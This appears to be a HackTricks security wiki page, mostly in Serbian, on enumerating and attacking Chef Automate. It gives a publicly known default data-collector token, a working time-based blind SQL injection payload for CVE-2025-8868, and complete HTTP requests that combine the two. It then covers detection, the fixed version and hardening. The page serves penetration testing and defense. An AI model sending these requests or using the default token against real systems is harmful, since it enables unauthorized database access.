Chef Automate Enumeration & Attacks
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
Ova stranica sakuplja praktične tehnike za enumeraciju i napade na Chef Automate instance, sa naglaskom na:
- Otkrivanje gRPC-Gateway-backed REST endpointa i zaključivanje shema zahteva putem odgovora o validaciji/greškama
- Zloupotreba headera x-data-collector-token za autentifikaciju kada su prisutne podrazumevane vrednosti
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) koji utiče na filters[].type polje u /api/v0/compliance/profiles/search
Napomena: Backend odgovori koji uključuju header grpc-metadata-content-type: application/grpc obično ukazuju na to da gRPC-Gateway povezuje REST pozive sa gRPC servisima.
Recon: Architecture and Fingerprints
- Front-end: Često Angular. Statički bundle-i mogu nagovestiti REST putanje (npr. /api/v0/…)
- API transport: REST ka gRPC preko gRPC-Gateway
- Odgovori mogu uključivati grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Tela grešaka koja počinju sa pq: snažno ukazuju na PostgreSQL sa Go pq driverom
- Zanimljivi Compliance endpointi (zahteva autentifikaciju):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
Auth: Data Collector Token (x-data-collector-token)
Chef Automate izlaže data collector koji autentifikuje zahteve putem posebnog headera:
- Header: x-data-collector-token
- Rizik: Neka okruženja mogu zadržati podrazumevani token koji daje pristup zaštićenim API rutama. Poznat podrazumevani token viđen u prirodi:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
Ako postoji, ovaj token se može iskoristiti za pozivanje Compliance API endpointa koji su inače zaštićeni autentifikacijom. Uvek pokušajte rotirati/onemogućiti podrazumevane vrednosti tokom hardeninga.
API Schema Inference via Error-Driven Discovery
gRPC-Gateway-backed endpointi često leak-uju korisne greške validacije koje opisuju očekivani model zahteva.
Za /api/v0/compliance/profiles/search, backend očekuje body sa nizom filters, gde je svaki element objekat sa:
- type: string (identifikator polja filtera)
- values: array of strings
Example request shape:
{
"filters": [
{ "type": "name", "values": ["test"] }
]
}
Neispravan JSON ili pogrešni tipovi polja obično izazivaju 4xx/5xx odgovore sa nagoveštajima, a zaglavlja ukazuju na ponašanje gRPC-Gateway. Iskoristite to da mapirate polja i lokalizujete površine za injekciju.
Compliance API SQL Injection (CVE-2025-8868)
- Pogođeni endpoint: POST /api/v0/compliance/profiles/search
- Tačka injekcije: filters[].type
- Tip ranjivosti: time-based blind SQL injection in PostgreSQL
- Uzrok: Nedostatak pravilne parametrizacije/whitelistinga pri interpolaciji polja type u dinamički SQL fragment (verovatno korišćen za konstrukciju identifikatora/WHERE klauza). Namerno konstruisane vrednosti u type se evaluiraju od strane PostgreSQL.
Funkcionalan time-based payload:
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
Napomene tehnike:
- Zatvorite originalni string jednostrukim apostrofom (’)
- Konkatenirajte podupit koji poziva pg_sleep(N)
- Ponovo uđite u kontekst stringa preko || tako da konačni SQL ostane sintaksički ispravan bez obzira gde je type ugrađen
Dokaz pomoću diferencijalne latencije
Pošaljite uparene zahteve i uporedite vreme odgovora da biste potvrdili izvršavanje na strani servera:
- N = 1 sekunda
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
- N = 5 sekundi
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
Observed behavior:
- Vremena odziva se povećavaju proporcionalno pg_sleep(N)
- HTTP 500 odgovori mogu uključivati pq: detalje tokom ispitivanja, potvrđujući putanje izvršavanja SQL-a
Savet: Koristite alat za merenje vremena (npr. više pokušaja sa statističkim poređenjem) da smanjite šum i lažno pozitivne rezultate.
Impact
Autentifikovani korisnici — ili neautentifikovani akteri koji zloupotrebljavaju podrazumevani x-data-collector-token — mogu izvršavati proizvoljan SQL unutar PostgreSQL konteksta Chef Automate‑a, ugrožavajući poverljivost i integritet profila usklađenosti, konfiguracije i telemetrije.
Affected versions / Fix
- CVE: CVE-2025-8868
- Preporuka za nadogradnju: Chef Automate 4.13.295 ili noviji (Linux x86) prema obaveštenjima dobavljača
Detection and Forensics
- API layer:
- Pratite 500 odgovore na /api/v0/compliance/profiles/search gde filters[].type sadrži navodnike (’), operator konkatenacije (||), ili reference na funkcije kao pg_sleep
- Pregledajte zaglavlja odgovora za grpc-metadata-content-type kako biste identifikovali gRPC-Gateway tokove
- Database layer (PostgreSQL):
- Auditujte pozive pg_sleep i greške neispravnih identifikatora (često prikazane sa prefiksima pq: koji dolaze iz Go pq drajvera)
- Authentication:
- Zapisujte i postavljajte upozorenja za upotrebu x-data-collector-token, naročito poznatih podrazumevanih vrednosti, preko API ruta
Mitigations and Hardening
- Immediate:
- Zamenite/onemogućite podrazumevane data collector tokene
- Ograničite pristup do data collector endpoint‑a; zahtevajte jake, jedinstvene tokene
- Code-level:
- Parametrišite upite; nikada ne konkatenirajte SQL fragmente kao stringove
- Strogo izričito dozvolite samo prihvatljive vrednosti polja type na serveru (enum)
- Izbegavajte dinamičko sklapanje SQL‑a za identifikatore/klauzule; ako je dinamičko ponašanje neophodno, koristite bezbedno citiranje identifikatora i eksplicitne bele liste
Practical Testing Checklist
- Proverite da li se x-data-collector-token prihvata i da li poznati podrazumevani radi
- Mapirajte šemu zahteva Compliance API‑ja izazivanjem grešaka validacije i čitanjem poruka o grešci/zaglavlja
- Testirajte za SQLi u manje očiglednim „identifier-like“ poljima (npr. filters[].type), ne samo u nizovima vrednosti ili top‑level tekstualnim poljima
- Koristite tehnike zasnovane na vremenu uz konkatenaciju da biste održali SQL sintaksno važećim u različitim kontekstima
References
- Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)
- Timing trace (XBOW)
- CVE-2025-8868
- gRPC-Gateway
- pq PostgreSQL driver for Go
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

